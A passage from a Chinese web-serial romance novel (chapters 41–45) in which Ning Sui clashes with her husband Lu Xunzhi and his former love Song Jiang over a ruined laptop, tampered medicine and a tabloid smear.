宋姜眼中闪过一丝狠毒,转脸看向陆勋之的时候,却是可怜兮兮的,“勋之,宁穗都来了,我是不是没戏了?我看她跟周家关系很好。” 宁穗听到宋姜的话,心里冷笑,这是知道比不过她,想说宁穗走后门吗? 她就算走后门,那也是她的本事。 宁穗从来都不忌讳利用自己手里的资源。 而且宋姜有什么资格说她? 她不也是靠着陆勋之的资源吗? 但这里是周家的地方,宁穗不能越过主人,去下宋姜的面子。 她全当没听见,但陆勋之的声音还是钻进了她的耳朵。 “是你的就是你的。别人抢不走。” 这句话还是像一根针,扎在宁穗的心尖上。 凭什么? 这本来就是她的机会,现在却要分给宋姜。 陆勋之作为始作俑者居然说这种话。 宁穗的步子一顿,旁边的桑甜拉她的手臂,轻声说:“拿下这个项目,才是真的赢。” 没错,只有她打出自己的事业,才算是给自己争口气。 宁穗在桑甜的办公室里并没有多待,两人只是就这次的展览做了一个简单的交流。 随后就去了会议室。 周夫人虽然是美术馆的法人,但是常规的事情,都是桑甜在管。 虽然她没有人事任免权,但是有项目管理权。 “今天我们所有人的设计师都到场,我们主要讨论下这次的展览的展品。”桑甜做了开场白。 正打算让大家展示自己的作品时,宋姜突然抬手。 态度傲慢又高傲,“桑总,我记得你说过,这次是以我们美术馆的名义上展品,但是有些人不是美术馆的,这不合规吧。” 宁穗垂着眸子没说话。 但宋姜的意思很明显,这是在指宁穗的参与不合规。 桑甜扫了一眼宁穗,随即看向宋姜,“照这么说,宋小姐也是客座设计师,并不全职在岗,也是不合规的。” 宋姜一噎,脸色姹紫嫣红,周围的人也都跟着蛐蛐。 大家对她的空降本来也没多满意。 虽然宋姜在国外有点小名气,但是她主攻是国内的传统艺术作品,国外得奖,本来就没有太多的说服力。 很容易让人怀疑是镀金的手段。 更何况,宋姜平时仗着陆勋之的关系,没少在馆里作威作福。 有几个助理设计师,被她指派着去买咖啡,取干洗的衣服,还挑三拣四,气哭过人,大家本来就不服她。 大家也都等着她在这次展览上出丑呢。 现在来个外人来压着宋姜,他们乐见其成。 所以对宁穗的到来反而没那么反感。 毕竟敌人的敌人就是朋友。 “本来我们就是为了项目组建的这次小组。也没所谓什么内人外人啊。” “对啊,反正是以我们馆的名义参展,只要出了风头,风头就是我们馆的,大家都是一家人,何必说两家话。” “我倒是觉得,有些人想自己出风头吧。桑总,您还是注意点,别到时候让别人盖住咱们。” 宋姜愣住,没想到这些人居然这个时候给她颜色看。 气得脸都紫了。 桑甜等大家都蛐蛐完,才抬手,假装阻止,“好了,大家都是为了这个项目,还是把精力都放在作品上,不要分心想有的没的。” 这话明面上是在一碗水端平。 但大家都听得出来,这是说给宋姜听的,让她别整些没用的。 宋姜再也挂不住脸,恶狠狠地瞪着宁穗,都是她,一句话不说,倒是坐收渔翁之利。 还有那个桑甜,简直蠢得要命,居然被宁穗当枪使。 宋姜心里冷哼,但很快调整好表情,“桑总,那我们就开始吧。大家都准备挺久了,让馆里的设计师们先开始,总没问题吧?” 她看向宁穗,“既然你这么有自信,最后一个讲,压轴呗。” 宁穗不知道她又出什么幺蛾子,但是觉得这种小事,懒得计较,不然就是让桑甜难做。 “我听桑总的。”宁穗说。 桑甜也感激宁穗的懂事,点点头,“那就开始吧。” 所有的设计师,都看好这次项目,跃跃欲试,都做足了准备,一上午也只讲了一半的作品。 中午休息,大家就散会了。 宁穗没走,又重新整理了一下电脑里的内容。 “你还真是阴魂不散。”宋姜的声音从身后传来。 宁穗顿了一下手指,全当没听见,继续操作鼠标。 “你再努力有什么用呢?”宋姜弯身凑到宁穗身边,压低了声音说,“勋之不是说了,该是我的就是我的,谁也别想抢走。” “呵,越是没有什么,越是炫耀什么。”宁穗只说了这一句,就激怒了宋姜。 她气得胸口起伏,牙齿咬得咯咯响。 这句话直接戳到她的肺管子。 昨晚上她被宁穗气到,给陆勋之打电话,叫他来,他居然没来。 今天早上她来美术馆上班,正好碰见陆勋之来找周南昭。 要不是周南昭跟着桑甜上楼,陆勋之根本不会跟过来。 她现在,越来越叫不动陆勋之。 都怪宁穗,要不是她把郑美婵逼走。 宋姜手里怎么会少了一个筹码。 想到这,她更生气,余光看到旁边的水杯,她不动声色地转动身子,背对着摄像头,然后一推。 哗啦! 一整杯热水,都扣到宁穗的电脑上,屏幕瞬间就灭了。 第41章 她舍不得的从来都是自己热烈 宁穗倏地站起来,赶紧抢救,擦了一下,她不敢再动,生怕伤了电脑。 她抱起电脑就往外走,却被宋姜拉住。 对方还假好心,“对不起啊,我不是故意的,要不让技术部的帮你看看吧。” 说是这么说,但她死死抓着宁穗的手臂,不让她离开,也不叫人来。 明显就是想拖延宁穗拯救电脑的时间。 宁穗当然看出来她的恶意。 冷漠的眸子瞥向她,“松手。不然我不客气了。” 宋姜料定她因为这里是周家的地盘,不会真的对她怎么样。 就算宁穗逼急了出手,她更高兴。 这样桑甜就能看到她的泼妇嘴脸,自然会疏远她。 这些豪门的贵妇们,最看重面子。 宋姜冷笑,“我就不放,你又能——啊!” 头顶传来剧痛,她疼得两眼发黑。 宁穗黑着脸,抓住她的头发,使劲往后扯,宋姜整个人跪坐在地上。 “你在干什么!”一道男人的声音砸下来,宁穗的手腕一痛,随即被迫松开了宋姜的头发。 “勋之,我好心问她电脑是不是没事,她居然打我。”宋姜委屈地哭起来,拉扯陆勋之的裤腿。 男人低头看了一眼宋姜,凌乱的发型,满眼的泪痕,妆都哭花了。 他烦躁地看向宁穗,后者垂着眸子没有任何愧疚的表情。 “陆总要问罪吗?”宁穗语气硬邦邦的,“要是不问罪,我要去修电脑了。” 陆勋之这才看到她怀里抱着电脑,宝贝似的。 电脑上被泼上了水,宁穗却丝毫不在意抱住,甚至蹭脏了她的真丝衬衣。 陆勋之愣了愣,裤腿上一沉,宋姜还在纠缠,“勋之,我肚子好痛啊,你送我去医院吧,好不好?” 宁穗扬起眸子看向陆勋之,“我跟你说过,她再招惹我,我就踹她的肚子。” 说着,她故意抬起脚,宋姜吓得魂都没了,也顾不上装肚子疼,连滚带爬地往陆勋之身后躲。 下一秒,陆勋之抓住宁穗的脚腕往上一推,将她压到墙边。 宁穗愣住,睁圆了眼睛瞪着他,“你放手!” “唐桓,带宋姜去检查。” “是,陆总。” 唐桓拉起宋姜往外带,后者却不肯走,她看到陆勋之和宁穗亲密的样子,心里像是被火烧一样。 “勋之,你不陪我去吗?”宋姜还想去抓陆勋之的胳膊,被唐桓直接拉走,他还不往贴心地关上了会议室的门。 宁穗脸颊气红,想推开男人,对方力大无穷。 “陆勋之,还不去看看你的孩子,小心白发人送黑发人。” 男人一把捏住她的两颊,让她的嘴微微张开,说不了话,“别说这种恶毒的话。” 还真是宝贝他俩爱情的结晶。 宁穗死死瞪着他,可两人的姿势太过暗昧,她羞耻得扭开头。 又被陆勋之扭回来,“一个电脑至于吗?我给你买个新的。至于动手?” 不分青红皂白就说她小气,可里面都是她设计图的资料。 都是她的心血,就都白费了吗? 宁穗很气,她的头猛地往前一冲,撞上陆勋之的鼻子,男人的鼻子瞬间飙血。 他疼得松开宁穗,捂住自己的脸。 宁穗趁着这个空档,跑出去。 “怎么了?”桑甜和周南昭赶过来,“刚才宋姜说肚子痛送医了,你没事吧?” 宁穗摇头,抓住桑甜问,“你这里有技术员,可以帮我看看电脑吗?” 桑甜低头一看,电脑都湿透了,这一看就是故意弄的,也皱了眉。 “走,我带你去。” 她拉着宁穗离开,完全没看跟在身后的周南昭一眼。 男人舌尖抵了一下腮,轻笑一声走进会议室,看到陆勋之正抽纸巾擦脸。 “嚯,这么热闹?”周南昭拉了椅子坐下,“二女争夫?” 陆勋之冷淡地睨他一眼,“你自己婚姻生活不幸福,别挨我。” 小嘴淬了毒一样。 周南昭啧了一声,也不遑多让,“人家紧张电脑,可多过紧张你。嘶,我看电脑有年头了,应该是很重要的东西吧。” 这话说得有些暧昧。 陆勋之的脸色一沉。 桑甜找了技术部的给宁穗看电脑。 对方仔仔细细地查了一遍,“不好意思啊,救不了了。但是我能帮你把硬盘里的东西导出来,应该能挽救大部分。” 宁穗有些急,“电脑呢?能修吗?求求你,帮我修修吧。” “要不你去电脑店里看看,但是我感觉够呛了,款式也比较老了,配件都不好找了。” 宁穗失魂地点点头,“好,谢谢了。” 桑甜看她这么紧张电脑,也有点不好意思,“我给你买台新的吧。在我的馆里出事,我也要负责任。” 更何况,宋姜名义上还是她手底下的人。 宁穗回神,摇头,“不用,我只是有点舍不得这个电脑而已。” 桑甜看了一眼电脑,确实是好多年前的款了,但一看保护得就很好,宁穗用得很珍惜。 从美术馆出来,宁穗还抱着电脑。 这个电脑用了六七年了。 是当时陆勋之参加比赛得到的奖品。 “给你吧,我也用不上。”陆勋之拿到后,都没拆封直接给了宁穗。 那时候宁穗当宝贝一样,喜欢得不得了。 满眼亮晶晶的看着陆勋之,“真的,送给我?” “嗯。喜欢吗?” 宁穗点头,“喜欢,你送我的东西,我当然喜欢。” 现在想来,不过是施舍而已。 是她自己,把这个当做陆勋之的礼物。 她舍不得的,从来都是自己曾经热烈的感情。 只不过,感动的只有她自己。 一辆车挡住了宁穗的去路,她顿住脚步。 车窗落下,露出陆勋之的阴沉的俊脸,“上车。” 宁穗淡漠地扫了他一眼,根本没理他,绕过车子继续往前走。 身后传来开门和脚步声,随后腰上一紧,男人直接将她塞进了车里。 宁穗太累了,她不明白,为什么陆勋之不能跟宋姜锁死。 让她恢复安静的生活。 陆勋之转头便看到宁穗半阖着眼睛,靠在座椅上,整个人都透着一股淡淡的死气。 心头像是被什么蛰了一下,很不是滋味。 他唇角抿成直线,从她的怀里拿过电脑,拿在手里看了看。 “这个破电脑也用了好几年了,正好换一个。” 宁穗冷不丁笑出声,“是,我这个妻子也好几年了,正好换一个。” “宁穗!你到底在闹什么?”陆勋之有些恼,“就为了一个电脑,你就打人?你现在怎么变成这样?” 第42章 樱花树下谁都美 刚结婚的时候宁穗还对陆勋之抱有幻想。 这两年,她在家独守空房的日子越来越长,她就像是个被深闺禁锢的人,完全没有了生气。 于是她一心扑在工作室里,可做出来的作品,都被郑美婵侵吞。 她一直以为自己身体垮了是因为她不够爱惜自己。 现在才知道,自己是被算计的。 她的婚姻很失败,她的人生也快要被毁了。 而陆勋之却只觉得,她在为一个电脑而闹脾气。 “对,我就是个泼妇,配不上你,离婚吧。” 宁穗说完这句又闭上了眼,完全没有沟通的欲望。 陆勋之只当她在说气话,随手将电脑丢在一旁,“行了,我会让人送台新的给你,这件事就这么翻篇了。” 翻不了篇,他为什么就不明白呢? 宁穗现在是对他这个人没信心了。 但她懒得解释。 陆勋之的手机响起,他捏了捏眉心,“那就让她住院,孩子不能有事。我不过去了。” 宁穗听出他是在说宋姜。 这么多次,宁穗看出来陆勋之对那个孩子十分在乎。 但他又口口声声说孩子不是他的。 这么割裂的行为只有陆勋之能做得出来。 车子行驶进车流,宁穗很疲惫,车上很舒服,她很快睡着。 梦里她像是飞了起来。 看到陆勋之跪在一个墓碑前,哭得不成人形,一直在道歉。 宁穗凑近,才看到墓碑上是自己的照片,顿时僵住。 “宁穗,醒醒。” 脸颊被人轻轻拍了拍,宁穗才缓缓睁开眼。 入目是陆勋之淡漠的脸,她怔了一下,倏地红了眼眶。 大概是脑子不清楚,宁穗怔怔望着陆勋之,喃声开口,“陆勋之,要是我死了,你会难过吗?” 男人愣住,宁穗不是没说过这种话。 但她现在表情死寂一般,好像她下一秒就会死掉。 陆勋之心口憋闷得难受,语气也硬邦邦的,“宁穗,你睡糊涂了?” 宁穗明显愣住,随即扯唇笑笑。 是,她真的是糊涂了,陆勋之,怎么会为她难过呢? 她缓缓坐直,看向窗外,车子开到了老宅。 宁穗摸了一把脸,推门下车。 陆勋之的手悬在半空,他指尖还带着湿润。 刚才宁穗不知道梦到什么,眼角一直挂着泪。 宁穗先去了卫生间洗了把脸,才去了老太太的房间。 自从上次病倒之后,老太太的精神大不如前,每天都去祠堂里念经。 宁穗过去的时候,老太太刚念完最后一段起身,宁穗赶紧上前搀扶。 这一搀扶,感觉到老太太的身子骨又轻了不少。 “奶奶,您是不是有心事?别想太多事,要好好休息。”宁穗劝慰老人家。 老太太扯唇笑笑,嘴角的纹路更明显了几分,“穗穗,你来看我老婆子,我就开心。如果你能和勋之再生个一儿半女,就更好了。我还能多活十年。” 提到这个,宁穗眼神躲闪,她想说,她马上就要跟陆勋之离婚了。 生孩子的事,还是交代给宋姜吧。 不用几个月,孩子就能生出来了。 但是这话,她不能对老人家说,会让人难过。 “穗穗,你最近跟你妈妈见面了吗?”老太太突然说,“我啊,有点想她,给她打电话说了,她说过几天来看我。” 宁穗僵住,她已经好几年没见过宁青莲。 两人因为她非要嫁给陆勋之的事,闹翻脸后,就疏远了很多。 现在她跟陆勋之过成这样,宁青莲肯定会心疼。 她虽然严厉,但对宁穗的爱并不少。 “到时候咱们一起吃个饭。这些年勋之忙,没怎么去看过你妈妈,这回,我把人接过来,让勋之也尽尽孝道。” 老太太为了撮合他俩,连岳母都搬出来了。 宁穗赶紧阻止,“奶奶,不用了,我和陆勋之根本不——”可能了。 “奶奶。”陆勋之突然进来,打断了宁穗的话头。 她回头看向陆勋之,对方淡漠的眼神扫了一眼她的眼尾,又收回视线,上前坐在老太太另一边。 “你还知道回来看我?”老太太生气地哼了一声,“我不稀罕你,我只稀罕宁穗。” 陆勋之余光看了一眼宁穗,好声好气地哄着,“奶奶,她都是我给送来的。” “穗穗想来看我,还用你送?”老太太却不买账,“你欺负她,别以为我不知道。” “奶奶,到底谁欺负谁?”陆勋之看向宁穗,“你自己说。前几天是谁生气打了我的脸。现在还有点肿。” 宁穗手指蜷缩起来,一个人怎么可以无耻成这样。 老太太没生气反而笑了,“打得好啊,你该打。” 陆勋之点头,认可老太太的话,“嗯,夫妻床头打架,床尾和。” 宁穗的脸颊瞬间滚烫,她真想缝住陆勋之的嘴,在长辈面前胡说八道什么。 “那你俩赶紧给我生个曾孙出来,我就高兴。”老太太一听他俩还圆房,就高兴了。 “好啊,正在努力了。”陆勋之还接话。 一股怒火蹭得烧起来,宁穗嘴快过脑子,“奶奶,您马上就能抱上孙子了。” 这句话一出,奶奶和陆勋之的脸色皆是一愣,两人不动声色地交换了一下眼神。 奶奶打着圆场,“你们在准备了就好。” 宁穗怔了怔,突然觉得很可笑。 他们都心照不宣的事情,却还在她面前装糊涂。 她心里不舒服,垂眸起身,“奶奶,您好好养身体,我就不来打扰您休息了。我妈那边,学期中,她也忙,就别让她来扰您的清净,我先回了,您好好休息。” 说完,她转身就走。 老太太气得拍了好几下陆勋之的胳膊,压着怒火,气声说:“你们干的好事!这个老婆要是没了,我看你找谁哭。” 陆勋之看着宁穗远走的背影,唇角抿成直线,半晌才说:“宁穗不会离开我。” 老太太可没他这种盲目乐观,“呵,樱花树下谁都美,并不是因为你长得帅。” 陆勋之,“……” 老太太重重叹了口气,转了话题,“对了,你妈好端端的怎么去M国了?” 陆勋之沉了脸色,“她做错事,让她出去清醒清醒。” 老太太没多问,眼底闪过一丝冷漠,“她确实太胡闹了,出去待待也好。对了,小二那边怎么样了?” 陆勋之眼底闪过一丝痛色,语气淡淡,“还是老样子。” 第43章 备孕药竟让她无法怀孕 相比之下,老太太眼中没有太多情绪。 好像这件事,对她来说,已经习以为常。 “你上点心,有些事已经这样了,就要处理好。总之我除了宁穗,不会承认别的孙媳妇。” 老太太说完,摆摆手,“我累了,要休息了。” 陆勋之起身走出祠堂,他心事重重,并没有注意到站在角落的宁穗。 宁穗怔怔站在原地。 陆勋之的话在耳边回荡,“宁穗不会离开我。” “她做错事,让她出去清醒清醒。” 宁穗有一瞬间的恍惚,突然有种窒息的感觉。 陆勋之觉得她根本不会离开。 在他看来,是吃定了宁穗。 …… 宁穗走出陆家老宅,并没有看到陆勋之的车。 他走了,没等她。 但宁穗并没有多少意外。 正准备离开,唐桓突然上前,“太太,总裁让我送您回家。” 宁穗顿住脚步,“我不回景园。” 唐桓并不意外她这么说,“总裁说了,您想去哪儿就送您去哪儿。” 宁穗愣了愣,没说什么上了车。 车子开到一条路边,宁穗叫车停下,便下了车。 唐桓叫住她,“太太,其实总裁还是很关心您的。” 不然也不会叫人去检测她之前喝的药。 可宁穗只当他是在替陆勋之说好话而已,微微扯唇,没说什么。 她约了中介看房,这些年虽然在景园住,看上去养尊处优。 但其实她住得并不自在。 家里的东西没什么是她的。 都是陆家太太的身份所有。 窗帘不是她挑的,地板颜色也不是她喜欢的。 要不是心里有陆勋之,这硕大的房子,对宁穗来说,就像是一个牢笼。 她对住所的要求并不苛刻,干净、安全,就够了。 看了几个房子,宁穗觉得都还不错。 最后挑了一个交通相对便利的,签了合同。 宁穗搬出来的时候东西就不多,两个大箱子,就把东西装好,从唐佳笑家搬了出去。 唐佳笑又出差了,交代王习来帮忙。 宁穗一个人确实吃力,她现在身体状况也搬不了重物,便接受了王习的好意。 “这里是不是太小了?”王习帮宁穗收拾东西。 就一室户的房子,比起景园是差得远。 甚至还不如景园的一个洗手间。 但宁穗很知足,“我手里的钱有限,想省着用,再说,我一个人住也不需要太大的地方。关键是属于我。” 王习抿唇,没再说什么。 两人很快收拾好,宁穗主动说:“师兄,我请你吃饭吧。” 王习点头称好,“来的时候,我看见小区旁边有个面馆,就去吃面吧。” 宁穗知道他是为了给自己省钱,心里感激。 面馆是连锁快餐,干净卫生。 宁穗选了一个安静点的角落,点了店里的招牌餐。 两人闲聊了几句,王习突然说起来,“前段时间我去看师母,她看上去状态不太好。她还说了一些话,话里话外,都是在说师父去世的事,似乎不简单。” 他无奈的笑笑,“官方都给答案了,怎么可能有问题呢,我想可能师母太思念师父,有点癔症了。” 宁穗愣了愣,当初师父去世的时候,她正闷在景园。 师父一直看好她,培养这么多年,她结婚就当了家庭主妇。 没脸去见师父。 没想到,再得到师父的消息,就是阴阳两隔。 宁穗心里有些不舒服,吃了两口面就没再吃。 手机响起,是裴斯年发来的信息,检测报告出来了。 宁穗顿了一下,赶紧打开看,大量的数据和箭头,她看不懂,直接翻到最后的结论部分。 她眼前一黑,人晃了晃。 “穗穗,你怎么了?”王习担心上前扶她。 宁穗缓了缓摇头,“没事,我去打个电话。” 她边走出面馆,边拨通了裴斯年的号码。 那头接得很快,似乎预料到她会打过来。 裴斯年直接切入正题,“药里看上去都是些养身体的药,但是有两个药量明显过大,会透支人的身体。别说要孩子了,恐怕经期都会完全乱掉。要是喝上几年,怕是怀都难了。” 宁穗使劲闭上眼,眼睫颤动得极快。 她料到郑美婵在药里下了东西,只是没想到她这么狠毒。 完全就没想让她活。 要么得癌症,要么永远不能生育。 这是有多恨她? “宁穗,你在听吗?”裴斯年有些急,“这药是谁在吃?不会是你吧?” 上次宁穗没说到底是哪儿来的药,裴斯年拿到报告,自然也看出来,这大概率是给宁穗吃的。 “是谁啊?这么丧天良?是陆勋之?”裴斯年情绪起来,话也说得重,“他是为了宋姜,人都不当了吗?” 宁穗一顿,缓缓睁开眼,“你也知道宋姜?” 裴斯年话头一顿。 知道是知道,上学的时候,他就听说陆勋之有个白月光。 但是谁都没见过。 后来同学聚会,见过陆勋之带宋姜去,大家都开他的玩笑。 问他这是不是他的初恋情人。 陆勋之只是勾唇笑笑,并没有否认,大家也就当成是了。 裴斯年没说,既然宁穗都要离婚了,没必要给宁穗添堵,“我已经请人开了一些调理的药。给你寄过去了,你放心,还能调理回来。” 宁穗深吸气,点点头,“谢谢裴医生。” 两人没多说什么,挂断了电话。 宁穗突然觉得胃里翻腾,刚才吃的那几口面,瞬间涌上来。 她扶着墙呕了呕,但没呕出来。 “你没事吧?”王习不知道什么时候出来,看到她不舒服赶紧上前。 宁穗浑身像被抽走了筋,人有些站不住,勉强扶着墙,还是往下坠。 王习赶紧搂住她的腰,扶住她,“我送你去医院看看吧?” 不远处,一辆车子经过,后座的人叫住司机,“停车!” 车子停在阴影处,后车窗落下来。 白玲看着不远处的两人,亲密地抱在一起,再看他们旁边,是个旅馆的门头,就在面馆旁边。 她冷笑一声,咔嚓咔嚓拍下几张照片。 发给了宋姜,【亲爱的,你看我碰见谁了。】 另一头,宋姜正在给陆勋之打电话,可对面根本不接。 气得她丢了手机,同一时间,手机响起,她惊喜地上前去看,结果是白玲的信息。 她本来不打算看的,但是不小心点开照片一看,嘴角勾起嘲讽的笑意。 转手发了出去。 第44章 那我就发疯给你看 宁穗回到家,瘫坐在沙发上。 浑身的力气都被卸掉了似的。 她现在手还是抖的,那种被人暗暗算计的寒气,往后背上钻。 她现在真的很想找到郑美婵给她两巴掌。 凭什么这么对她。 可是人远在M国,她上哪儿去找。 要不是陆勋之把人送走,她现在就可以去出口气。 至少不用这么憋屈。 这会儿恶气,没处发,她拿出手机给陆勋之打了一个电话过去。 那头,陆勋之正在应酬,看到宁穗的电话进来,他嘴角勾了勾,快速走出包厢接通了电话。 可宁穗劈头盖脸的话砸下来,“浑蛋,你怎么不去死!我真的后悔认识你!早知道今天,那天晚上我就算肠梗阻死了,也不想见你!” 骂完,她就挂断了电话。 胸口起伏的厉害。 宁穗的眼眶烫得难受。 双手疼的痉挛。 她赶紧找了一个塑料袋,捂在嘴巴上,才缓了过来。 陆勋之却懵了,低头看着挂断的页面,脸色逐渐阴沉下来。 手机在手里转了一圈,他叫来唐桓,“太太在哪儿?” 唐桓如实回答,“太太租了一套房子,从唐佳笑家搬出来了。今天应该是搬到新家。” 说着,他将地址发给了陆勋之。 宁穗好半天才平缓了呼吸,发泄完,心里没那么堵得慌。 她打了电话给裴斯年。 “你放心,有几个捐献者,我已经在接触了,我会尽快给你答复。你的身体,是越早做手术越好。” 裴斯年交代了一番,宁穗的心放下来。 安心等待手术,等待新生,是她现在唯一期待的事。 宁穗打起精神,她决定听裴斯年的话,好好休息,好好保重身体。 洗漱完,她准备睡觉,却听到有人在敲门。 她愣了愣,看了一眼表,已经十点。 她没点外卖,刚搬进来更是没有买快递,心里有些害怕。 宁穗轻手轻脚地走到门口,透过猫眼看,陆勋之阴沉的俊脸显出来。 她都懵了。 陆勋之怎么会找过来。 他这副样子,难道是来找她算账的? 就因为她刚才在电话里骂他? 宁穗一阵心虚,早知道刚才就不招惹她。 刚想安安静静过生活,又被他追上来,真的很糟心。 男人还在敲门,好在不像之前在唐佳笑家,敲得震天响。 宁穗缓了缓,轻手轻脚地打算回房间,假装没听见。 可门外传来男人威胁的声音,“你自己开门,还是我找锁匠开门。” 宁穗的脚步一顿,闭上眼心里骂了一句,忽地转身,一把拉开门。 男人的手还悬在半空,做出敲门的动作,她一开门,先是一愣,随即自顾自地推门而入。 像是进自己家似的。 但他站在玄关没进去,小房子一眼就看到底。 语气很是不满,“放着别墅不住,非要来住狗窝,宁穗,你脑子是不是进水了?” 之前住在唐佳笑家,也就算了,现在自己出来租房子,还租个这么差的。 简直就是打他的脸。 宁穗气笑,“对,我就是脑子进水了,不然怎么会看上你?你除了那张脸还能看之外,你一无是处!好看有个屁用!我还不如去找个男模,最起码还会说两句好听的,让我开心,给我点情绪价值。” 哪像他,张嘴就没有一句让人想听的。 陆勋之的脸色,在听到她说他的脸好看的时候,先是一缓。 在说到男模的时候,又倏地沉下来,“宁穗,你胡说什么?你去找过男模?” 宁穗一愣,被他抓重点的能力,简直震惊到,这是重点吗? 她使劲闭了一下眼,抬手指着门口,“出去。不然我报警了。” 陆勋之的脸色彻底沉下来,“你吃错药了,非要这么跟我说话?” 提到药,宁穗的眼圈倏地红了,“对,我是吃错药了,你是不是巴不得我吃错药,然后身体垮掉毁掉,你就开心了?” 越说越离谱,陆勋之一脸的不可置信,“你到底发什么疯!” “那我就发疯给你看。”宁穗左右看看,快速地拿过笤帚,冲着陆勋之就打了下去。 男人没防备她这么做,第一下就被打到,脸上火辣辣的疼。 他节节后退,被逼出门外。 砰! 房门在他面前关上。 差点砸到他的鼻子。 陆勋之脸颊上被擦了几道红印子,在他冷白的皮肤上,十分明显。 他怔怔看着眼前的门,满眼的莫名其妙,牙齿咬得咯咯响,抬手想去砸门。 但是手悬在半空,他气得转身走了。 人刚走到楼下,唐桓打来电话,“陆总,这边谈得差不多了。但是对方有个请求。” 陆勋之手指摸了一下脸,火辣辣的疼,心情差到极点,“说。” “他家有个孩子,得了白血病,需要骨髓移植,希望咱们能帮忙找资源。” 陆勋之抬头看了一眼宁穗家的窗户,心里那股烦躁更盛,“那就帮他们找。” “是,陆总。” …… 宁穗早上是被手机铃声吵醒的。 随即是门外传来砰砰的敲门声。 宁穗猛地睁开眼,人还是懵的,先拿起手机看,是唐佳笑。 “喂,笑笑,怎么了?” 唐佳笑的声音在耳边和门外同时响起,“穗穗,开门,出事了。” 宁穗的额角的动脉猛然跳动,她起身去打开门,“我还没来得及给你留钥匙,正好,一会儿你拿一把备用钥匙走。” 两人约了今天见面,一起讨论展览的事。 唐佳笑脸色特别差,“好好,这个不是重点。你快看看这个。” 她调出手机页面给宁穗看。 宁穗看到上面的标题,眉心一皱,再往下看,看到照片时,瞳孔微缩。 画面中正是昨天她跟王习吃饭的地方,当时她身体不舒服,差点晕倒,是王习扶了她一把。 这个拍照的角度很刁钻,像是两人依偎在一起,而且背景也刻意选了旁边的酒店。 “我刚才打车过来的,是司机大哥在听新闻,我越听越不对。”唐佳笑听到王某习,宁某穗的时候,就发现了不对劲。 赶紧找了链接来看,发现里面说的是王习和宁穗。 标题很惹眼,【豪门弃妇出轨白月光,疑似借种上位】。 第45章 我和她的事,不用你管 宁穗被子虚乌有的报道,气得无语,直接联系了王习上次给她介绍的律师,决定报警处理。 都是诬陷的事,她没太当回事。 尤其是她只露了侧脸,还打了码。 如果不是熟悉的人,不会看出她。 律师下手很快,这些链接随之下架。 宁穗就没再关注这个事。 她跟唐佳笑讨论了展览的事,又出门去了一趟工厂那边。 有些原材料需要重新采购。 …… 陆氏股东会。 陆勋之沉着脸说:“这次的开发项目会从缓,大家要是没什么意见,就这样。” 他一向雷厉风行,完全不给这些人面子。 带着上位者的威压,大家也有几分忌惮。 毕竟陆勋之上任短短几年,陆氏的股价翻了一倍。 比他爷爷奶奶那时候,还要厉害。 铁腕政策,更是没人敢反抗。 就在准备散会的时候,突然有股东惊呼一声,“哎呦,这是怎么回事?” 那人看热闹不嫌事大,将链接直接发到股东群里。 大家都打开看,唐桓先一步看到,瞬间黑脸,“陆总,您看。” 陆勋之拿过手机看,标题恶俗,【豪门弃妇出轨白月光,疑似借种上位】。 不明白这有什么可看的,但是当他看到里面提到了弃妇的老公姓陆。 再看那个身段,是宁穗无疑了。 陆勋之顿时黑了脸,一把将手机拍在桌子上,“全部下架,谁再敢讨论,直接行业封杀。” 所有人噤若寒蝉,没人敢再说一个字。 但这件事还是小范围的传开了,只不过大家口口相传,谁也不敢在网上聊天说,生怕留下痕迹,被陆勋之追责。 “陆总这么大反应,是不是瓜是真的啊?” “包的。凡是离谱的事情,最后都是真的。” “你们在说什么啊?”宋姜迈着婀娜的步子,手里拿着保温桶走过来。 大家看到宋姜赶紧笑着迎接,“宋小姐,总裁在里面发脾气呢,您快去劝劝吧。” 宋姜莫名,“什么原因?” 几个人面面相觑,谁也不敢说。 宋姜平时没少来送吃喝,这几个人也早就被她收买。 “你们说吧,我不会跟勋之说,是你们说的。” …… 陆勋之站在办公室的落地窗前,给宁穗打了无数个电话,对方都没接。 突然想到什么,他转脸看向唐桓,“你手机给我。” 唐桓愣了一下但还是照做。 陆勋之拿过手机拨通了宁穗的号码,那边倒是秒接。 他气笑了,“宁穗,你真把我给拉黑——喂?喂!” 他不可思议地拿开手机看,对方挂断了他的电话,他失笑,再拨过去,又没人接了。 拉黑了。 陆勋之气地把手机丢在桌上,“长本事了。” 居然敢拉黑他了。 唐桓在一旁小心地说:“我刚才查了,太太已经找律师告这些营销号了。” 陆勋之顿了顿,语气缓和了一些,“让法务部也跟着告,查一下到底是谁做的。” “是。” 房门被敲响,下一秒宋姜推门而入。 “勋之,你没事吧,这么大火气?”宋姜看着桌子上的东西都是乱的,刚才陆勋之显然发过脾气。 他一向要求房间里必须整洁如新,不允许一点杂乱。 陆勋之烦躁地扯了领带,“你来有事?” 宋姜笑容一顿,最近陆勋之对她的态度急转直下。 尤其是在郑美婵出国之后。 之前还有郑美婵牵制他,现在没人管他了,宋姜心里也有些没底。 再加上,宁穗之前那个意思,两人好像还在拉扯。 这让她很没安全感。 “我炖了鸡汤,给你尝尝。”宋姜乖巧地将保温桶放在桌上。 陆勋之余光瞥了一眼,眼神顿了顿。 以前他加班好几天不回家的时候,宁穗经常借着给他送吃送喝,来找他。 有时候他没时间搭理她,宁穗就会乖乖在旁边坐着等,完全不会不高兴。 哪会像现在,连电话都不接。 宋姜不知道他在想什么,看到他一直盯着保温桶,还以为他很开心自己来给他送汤。 更殷勤地倒了一碗递到陆勋之跟前,“你尝尝。” 唐桓知趣地退下,将空间留给两个人。 陆勋之回神,微皱眉头,“我不喜欢喝鸡汤。” 宋姜的笑容僵硬在脸上,垂眸看到他在摆弄手机,当看到他在给宁穗发信息的时候,眼底闪过一丝狠毒。 宋姜捏着碗壁的手捏得发白,但她很快调整好表情。 “勋之,我看到宁穗的报道了,是真的吗?”宋姜突然提起。 陆勋之的手指一顿,缓缓掀起眼皮看向她,眼底阴沉得吓人。 宋姜心提了起来,但还是硬着头皮继续说:“有些事,无风不起浪,宁穗和王习走得近,你不是也知道吗?你根本不想离婚,可她却很着急,是为了什么?勋之,你何必让自己过得这么憋屈呢?” 陆勋之的脸色沉下来,“够了。我和她的事,不用你管。” 宋姜如遭雷击,呼吸急促了几分,声音也跟着哽咽,“勋之,你以前不是这样的。以前我在宋家过得不好,都是你护着我。为什么你现在——” “你也说是以前。”陆勋之无情打断她的话,“都过去的事,我不想再提。” 宋姜眼泪倏地流下来,“你是不是还在怪我当初没选择你?那时候你在国外,我不那么做,我会死的,你知道我——” “够了。”陆勋之早没了耐心,因为他看到对话框上红彤彤的叹号。 